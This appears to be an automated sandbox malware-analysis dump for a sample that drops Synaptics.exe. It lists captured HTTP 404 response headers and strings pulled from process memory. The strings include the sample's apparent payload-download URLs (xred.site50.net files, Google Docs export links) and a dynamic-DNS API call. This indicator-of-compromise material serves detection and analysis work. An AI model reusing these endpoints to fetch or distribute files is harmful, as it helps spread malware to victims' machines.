Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:50 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-l4T-Acp_Cnr2wg7G7l5UTg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nPhxaAs8kNk54CefSxJqjvYlieOTKDzrCyTUC-gDN3hcnBcQBW2bZMOYgf0aEq30ua5pXakuBzixgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:50 GMTContent-Security-Policy: script-src 'report-sample' 'nonce--RXth1IGnlkO6Mved_Q8LA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nNSy97E1YOyPtFRH4mrfOPzoAKHHqAxkbRsx34U9K-RNeSb5qyhU11kEQ7loKYM0NbbDXUServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:51 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-252gw4POoxO2FX_MLUMmzQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nPjHRbIkLSiJxHCaOAO0k-J9nYFiFlw75V-lMSGpih_perv3PyH6ssamr528y_8wVxo9ngServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:51 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-cat9HxULMjMWpK_fJScf-Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nO0raOxuBm1kTreSUr-bhhbR51h7ClABdwFfjcw0J4s4N1HMke0_w4ws9lGJdQlE1ZcSsqSS2D9eQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:56:07 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-5CKvlA_kF4gGittS2cMgPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nNO4MmHdgQ8XGexIIhfxZTDO_EsLhApPi8tjzZeEMgCpR5ZmSX7v9VTrDuXSsP59oVg_wgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002A_282.exe, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978X
Source: Synaptics.exe, 00000004.00000002.2251508096.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978hH4h
Source: ._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2725091207.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, ._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2726090653.0000000003530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://wixtoolset.org/schemas/thmutil/2010
Source: ._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2726090653.0000000003530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://wixtoolset.org/schemas/thmutil/2010(
Source: ._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2726090653.0000000003530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://wixtoolset.org/schemas/thmutil/2010Hd
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dl$
Source: LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarH
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2276956037.000000000E828000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.00000000006FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2305103446.000000001CFBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000004.00000002.2318872806.0000000025F7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2270452188.000000000D73E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2280395281.000000001047E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2291676003.000000001837E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2287428289.00000000158FE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000055A2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284352179.0000000013AFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2281958555.0000000011CFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323162300.0000000028EFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2294999243.000000001ADFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2292491519.0000000018C3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2270045841.000000000D0FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2321912073.000000002827E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2268830759.000000000BBBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2262806304.0000000007BFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2306016624.000000001DB7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2287550443.0000000015A3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2328460787.000000002C37E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2265547354.0000000009DBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2313020278.0000000021FBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2318677592.0000000025CFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326734885.000000002B0BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2288401588.00000000162FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2282786910.00000000126FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2283263071.0000000012D3E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#L
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2276956037.000000000E828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$(
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$4m0
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2274065049.000000000E695000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2276956037.000000000E828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$Q
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$T
Source: Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$W
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2276956037.000000000E828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000072BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&OH3;
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&wn3
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2281271380.00000000110FE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(d
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)DY6
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000055A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)t
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-ArchY
Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-ModeR
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-O
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-Opt
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-fullD
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-meas
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download...
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..6
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.NP0#
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.P
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.a
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000072BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.cOQ
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.cn
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com.
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.gl
